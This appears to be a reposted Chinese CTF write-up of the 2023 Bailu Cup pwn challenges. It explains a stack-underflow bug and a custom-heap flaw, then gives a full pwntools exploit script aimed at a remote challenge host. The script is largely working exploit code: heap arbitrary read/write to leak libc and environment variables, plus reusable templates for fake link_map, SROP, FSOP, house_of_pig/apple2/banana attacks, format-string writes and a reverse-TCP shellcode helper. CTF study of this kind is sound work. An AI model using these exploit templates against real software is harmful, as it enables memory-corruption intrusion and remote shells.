2023柏鹭杯pwn wp

这篇具有很好参考价值的文章主要介绍了2023柏鹭杯pwn wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

PWN

博客

eval

漏洞点

对数组模拟栈的那个栈顶没做下溢校验,先输入符号可以构成溢出点

+200/2+(target_offset - 100)

这样输入即可将栈顶迁移到任意位置

难点

需要逆向整个模拟栈的结构

可以配合动态调试得出模拟栈结构

addr+0 0

addr+1 符号位

addr+2 0

addr+3 栈顶偏移

addr+4 第一个数

addr+5 第二个数

通过处理符号进行运算的时候,会导致addr+3 -= 1,将原本应该填在addr+4的数填在了addr+3即可完全控制offset,进而控制任意位置读写

heap

漏洞点

对小堆块(≤0x80)大小的堆块管理有问题,没有进行pre位置(+0x18)的有效校验,进而可以控制任意位置读写,但要注意会写入0x28的头部

远程FLAG加载进了环境变量位置,通过泄露_IO_2_1_stdout_(bss区)获得libcv版本,再申请libc中__environ处,判断是否能泄露出0x7fffxxxxxx的值判断合适的libc版本,最后申请到存储环境变量字符串处的内存,然后多次尝试泄露出FLAG环境变量的值即可。(RIP挟持不了,栈内距离小于0x28,申请会覆盖上个返回地址,导致Segment fault)

难点

需要逆向整个他自己写的malloc和free函数以及堆块结构,比较复杂,逆了老半天,感觉在看源码 🤨

2023柏鹭杯pwn wp

EXP

需要进行多次操作(4次)比较复杂文章来源地址https://www.toymoban.com/news/detail-710651.html

from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

# context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "./libs/libc6_2.31-0ubuntu9.10_amd64.so"
remote_ip = "8.130.115.205"
remote_port = "20199"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
    p = remote(remote_ip, remote_port)
else:
    p = process(filename)

def bpp():
    gdb.attach(p)
    pause()

def log(x):
    print("\x1B[36m{}\x1B[0m".format(x))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1)) #l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

def orw_shellcode():
    payload=shellcraft.open('./flag')
    payload+=shellcraft.read(3,'./flag',100)
    payload+=shellcraft.write(1,'./flag',100)
    payload=asm(payload)
    return payload

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
    payload = p64(part1)    # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0)    # rbx be 0x0
    payload += p64(1)    # rbp be 0x1
    payload += p64(jmp2)    # r12 jump to
    payload += p64(arg3)    # r13 -> rdx    arg3
    payload += p64(arg2)    # r14 -> rsi    arg2
    payload += p64(arg1)    # r15 -> edi    arg1
    payload += p64(part2)    # part2 entry will call [r12 + rbx * 0x8]
    payload += b'A' * 56    # junk 6 * 8 + 8 = 56
    return payload

def leak():
    leak_dat = ru("\x7f")[-6:]
    return u64(leak_dat.ljust(8, b'\x00'))

def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
    for i in range(8):
        if (target&0xff) != 0:
            if i != 0:
                sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
                sleep(0.05)
            sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
            sleep(0.05)
            target >>= 8
    sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
    for i in range(4):
        if (target&0xffff) != 0:
            if i != 0:
                sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
                sleep(0.05)
            sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
            sleep(0.05)
            target >>= 16
    sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def SROP(rdi, rsp, rip):
    signframe = SigreturnFrame()
    signframe.rax = constants.SYS_execve
    signframe.rdi = rdi
    signframe.rsi = 0x0
    signframe.rdx = 0x0
    signframe.rsp = rsp
    signframe.rip = rip
    return bytes(signframe)

def FSOP(fake_vtable_addr):
    # only in glibc 2.23 
    # 2.23+ vtable有范围校验 此时不如别的打法好打
    # 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
    from pwncli import IO_FILE_plus_struct
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_ptr = 1
    fake_IO_FILE._IO_write_base = 0
    fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
    fake_IO_FILE.vtable = fake_vtable_addr
    IO_FILE = bytes(fake_IO_FILE)
    return IO_FILE

def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
    # 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
    # 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free  /||gadget
    # 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
    """
    #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
    char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base 
	size_t old_blen = _IO_blen (fp);
	size_t new_size = 2 * old_blen + 100;
    new_buf = malloc (new_size); # 计算好申请出来
    memcpy (new_buf, old_buf, old_blen); #覆盖(
	free (old_buf);
    """
    from pwncli import IO_FILE_plus_struct
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_ptr = 1
    fake_IO_FILE._IO_write_base = 0
    fake_IO_FILE.vtable = _IO_str_jumps
    fake_IO_FILE._IO_buf_base = bin_addr
    fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
    fake_IO_FILE._IO_save_base = system_addr
    fake_IO_FILE._IO_backup_base = system_addr
    return bytes(fake_IO_FILE)

def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
    """
    调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
    _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为  sh;,注意前面有两个空格
    """
    # main
    from pwncli import IO_FILE_plus_struct
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE.flags = 0x68732020
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_ptr = 1
    fake_IO_FILE._IO_write_base = 0
    fake_IO_FILE.vtable = _IO_wfile_jumps
    fake_IO_FILE._wide_data = wide_data_entry
    fake_IO_FILE = bytes(fake_IO_FILE)
    # wide_data 这里只要控制vtable即可
    pad = p64(0) * 36
    pad += p64(wide_data_vtable_entry)
    # wide_data_vtable
    """_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
    payload = p64(RIP)*0x10
    return (fake_IO_FILE, pad, payload)

def house_of_banana(fake_addr, l_next, gadget, count):
    fake_content = p64(0) + p64(0) # l_addr keep zero to array
    fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
    fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
    fake_content += p64(0x8) # check 3
    fake_content += p64(0x8) # check 3
    fake_content += p64(0x8) # check 3
    fake_content = fake_content.ljust(0x48, b'\x00')
    fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
    fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
    fake_content += gadget # reverse_gadget
    fake_content = fake_content.ljust(0x110, b'\x00')
    fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
    fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
    fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
    fake_content += p64(0x1c) # check 2 to l_init_called
    return fake_content

"""pwncli"""
def reverse_tcp():
    from pwncli import ShellcodeMall
    reverse_tcp = ShellcodeMall.amd64.reverse_tcp_connect(ip="127.0.0.1", port=10001)
    return reverse_tcp

# gadgets
"""
from pwncli import CurrentGadgets, gift

gift['elf'] = ELF("./pwn")
gift['libc'] = ELF()

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()

execve_chain = CurrentGadgets.execve_chain(bin_sh_addr=0x11223344)
"""

# libc search
"""
from pwncli import LibcBox
libc_box = LibcBox()
libc_box.add_symbol("system", 0x640)
libc_box.add_symbol("puts", 0x810)
libc_box.search(download_symbols=False, download_so=False, download_deb=True) # 是否下载到本地
read_offset = libc_box.dump("read")
"""

# onegadgets
"""
from pwncli import get_current_one_gadget_from_libc
# 获取当前装载的libc的gadget
all_ogs = get_current_one_gadget_from_libc()
"""

prefix = "4. show"

def add(size):
    sla(prefix, b'1')
    sla("size: ", str(size))

def delete(index):
    sla(prefix, b'2')
    sla("index: ", str(index))

def edit(index, payload):
    sla(prefix, b'3')
    sla("index: ", str(index))
    sa("data: ", payload)

def show(index):
    sla(prefix, b'4')
    sla("index: ", str(index))

def exit():
    sla(prefix, b'5')

add(0x20)
add(0x500)
add(0x500)
add(0x20)

delete(1)
delete(2)

edit(0, b'a'*0x31)
show(0)

magic = u64(rl()[-7 -8 +1:-1-8+2].rjust(8, b'\x00'))
log(hex(magic))
# bpp()

edit(0, b'a'*0x40)
show(0)

leak_heap = leak()
log(hex(leak_heap))

heap_base = leak_heap - 0x590
log(hex(heap_base))

edit(0, b'a'*0x48)
show(0)
leak_elf = rl()
log((leak_elf))

leak_elf = ((u64(leak_elf[-7:-1].ljust(8, b'\x00'))))
log(hex(leak_elf))

elf_base = leak_elf - (0x564a5b203060 - 0x564a5b000000)
log(hex(elf_base))

edit(0, flat([
    b'a'*0x30,
    magic,
    p64(0x510aaaaaaaa),
    leak_heap,
    leak_elf,
]))

add(0x600)
add(0x20)
delete(1)
delete(0)
delete(2)
delete(3)

""""""
add(0x20)
add(0x40)
add(0x60)
add(0x20)
add(0x20)
add(0x20)
delete(4)
delete(3)
edit(2, flat([
    b'a'*0x71
]))

show(2)

magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))
edit(2, flat([
    b'a'*0x70,
    magic,
    p64(0x30aaaaaaaa),
    heap_base + 0x1248,
    elf_base + 0x203078
]))

add(0x60)
add(0x50)

show(4)
leak_libc = leak()
log(hex(leak_libc))

libc_base = leak_libc - libc.sym['_IO_2_1_stdout_']

log(hex(libc_base))
environ = libc_base + libc.sym['__environ']
log(hex(environ))

add(0x80) # 6
add(0x60)# 7
add(0x20) # 8
delete(7)
edit(6, flat([
    b'a'*0x91
]))

show(6)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(6, flat([
    b'a'*0x90,
    magic,
    p64(0x70aaaaaaaa),
    heap_base + 0x1448,
    environ - 0x28
]))

add(0x60)
add(0x60)

log(hex(environ))

show(9)
raw = leak()
log(hex(raw))

backdoor = elf_base + 0xEAD
ret_addr = raw - (0x7ffca6599568 - 0x7ffca6599448) + 0xf0 -0xd0
log(hex(ret_addr))

add(0x60) #10
add(0x60) #11
add(0x20)
delete(11)

edit(10, flat([
    b'a'*0x71
]))

show(10)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(10, flat([
    b'a'*0x70,
    magic,
    p64(0x70aaaaaaaa),
    heap_base + 0x15d0,
    raw - 0x28 - 0x28
]))

add(0x60)

log(hex(raw))
add(0x60)

# add(0x60)
# bpp()

edit(13, flat([
    b'a'*0x18
]))

show(13)

flag_path = leak()
log(hex(flag_path))

"""final"""

add(0x60) #14
add(0x60) #15
add(0x20)
delete(15)

edit(14, flat([
    b'a'*0x71
]))

show(14)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(14, flat([
    b'a'*0x70,
    magic,
    p64(0x70aaaaaaaa),
    heap_base + 0x15d0,
    flag_path - 0x28 + 0x30 + 100
]))

add(0x60)
# bpp()
add(0x60) ###

show(17)
# raw = rl()
# log(raw)
# bpp()
# bpp()

ia()

"""
E=/root
abb1
r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

flag{ISEC-f140f382117c6c52cb3a3221e747e530}
"""

到了这里,关于2023柏鹭杯pwn wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ACTF 2023 部分WP

    来自密码手的哀嚎: 玩不了一点,太难了。 Description Malin’s Diffile-Hellman Key Exchange. task.sage output.txt 分析一下: shared = (sk_alice[0].T * pk_bob * sk_alice[1]).trace() 也就是说 shared = ((a 1 ) T  * b 1 * (b 2 ) T * a 2 ).trace() 已知 Pk_alice = a 1 * (a 2 ) T 和 Pk_bob = b 1 * (b 2 ) T 线性代数学的好的

    2024年02月06日
    浏览(41)
  • 羊城杯2023 部分wp

    目录 D0n\\\'t pl4y g4m3!!!(php7.4.21源码泄露pop链构造) Serpent(pickle反序列化python提权) ArkNights(环境变量泄露) Ez_misc(win10sinpping_tools恢复) 访问/p0p.php 跳转到了游戏界面 应该是存在302跳转 burp抓包 提示 /hint.zip 下载下来得到一段密文: Ö 0 0vO Ow0 0w0 Ö 0 Ö O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo

    2024年02月09日
    浏览(27)
  • [BUUCTF NewStar 2023] week5 Crypto/pwn

    最后一周几个有难度的题 也是个板子题,不过有些人存的板子没到,所以感觉有难度,毕竟这板子也不是咱自己能写出来的。 给了部分p, p是1024位给了922-101位差两头。 直接用双值copper这个双值和多值还是有些区别的,应该是作了些优化。 这个题有9个人完成,我估计有一半

    2024年02月05日
    浏览(42)
  • ctfshow—2023愚人杯wp

    100 愚人杯比赛秉承欢乐、有爱、进取的精神 在群里师傅热心帮助下,已经开始第三届比赛啦! 欢迎各位师傅参加,希望大家玩的开心,比赛题目可以自由讨论、但是请不要py 正式比赛在 3月31日晚8点整开整 Happy April Fool’s Day! 本题flag是一个不能说的秘密 一个不能说的秘密

    2023年04月15日
    浏览(40)
  • AGCTF 2023陇剑杯wp

    SmallSword_1 导出HTTP 对象的时候发现有sql 注入的语句,猜测攻击手法是 sql 注入 在这里发现了可疑的 php 文件 追踪 15340 发现可控参数,也就是连接密码 Flag:flag{0898e404bfabd0ebb702327b19f} SmallSword_2 知道攻击手法,因为蚁剑连接的方式是 POST 所以直接用语法搜索 http.request.method == “

    2024年02月10日
    浏览(34)
  • GDOU-CTF-2023新生赛Pwn题解与反思

    因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。 16点30分结束,就跑回来宿舍开始写。 第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。 大概17点10的时候,写第三题,可能自己第一次遇到随机数问

    2023年04月17日
    浏览(59)
  • CTFSHOW愚人杯2023 部分wp

    url是base64编码后的文件名 直接读个index.php 然后查看源码 解码base64 过滤了斜杠,不能访问根目录了,考虑手动拼接一个 {{lipsum.__globals__.os.popen(lipsum.__globals__.__str__().__getitem__(34)~lipsum.__globals__.__str__().__getitem__(5)~lipsum.__globals__.__str__().__getitem__(22)~lipsum.__globals__.__str__().__getitem__(1

    2024年02月03日
    浏览(61)
  • ctfshow-2023愚人杯部分wp

    目录 热身 web easy_signin easy_ssti easy_flask Crypto: easy_base 复现 easy_php       脑筋急转弯   easy_signin 没有看url,直接F12看源码了,所以多做了一会儿,其实是任意文件读取,img参数传的是base64编码后的文件名,图片源是base64编码后的文件。 传入index,php的base64编码aW5kZXgucGhw,得到

    2023年04月21日
    浏览(41)
  • ISCC2023 擂台misc wp

    刚想起来发 user-id:芝士雪豹 这道题没啥意思,存粹为了套拿450分。知识点属于重复知识点,见谅: 拿到附件,用360解压缩、winrar打开显示有密码,用7z打开显示为空,猜测是文件结构遭到破坏,用010editor查看后发现该文件出现了3个压缩文件头,而没有一个文件头,用010定位

    2024年02月06日
    浏览(50)
  • 2023SHCTF web方向wp

    看一眼,你大爷,啥玩意都给我过滤完了。 还好下面有preg_replace()/e,会把replacement当作php语句执行 传参pattern=.*, .*表示任意字符,code={${phpinfo()}} ,为什么这样写,因为 , \\\'print_r(\\\"\\\\1\\\")\\\' ,如果直接传phpinfo(),会被当作字符串对待,而 php中{}里面的变量会被解析,这样就能执行

    2024年02月06日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包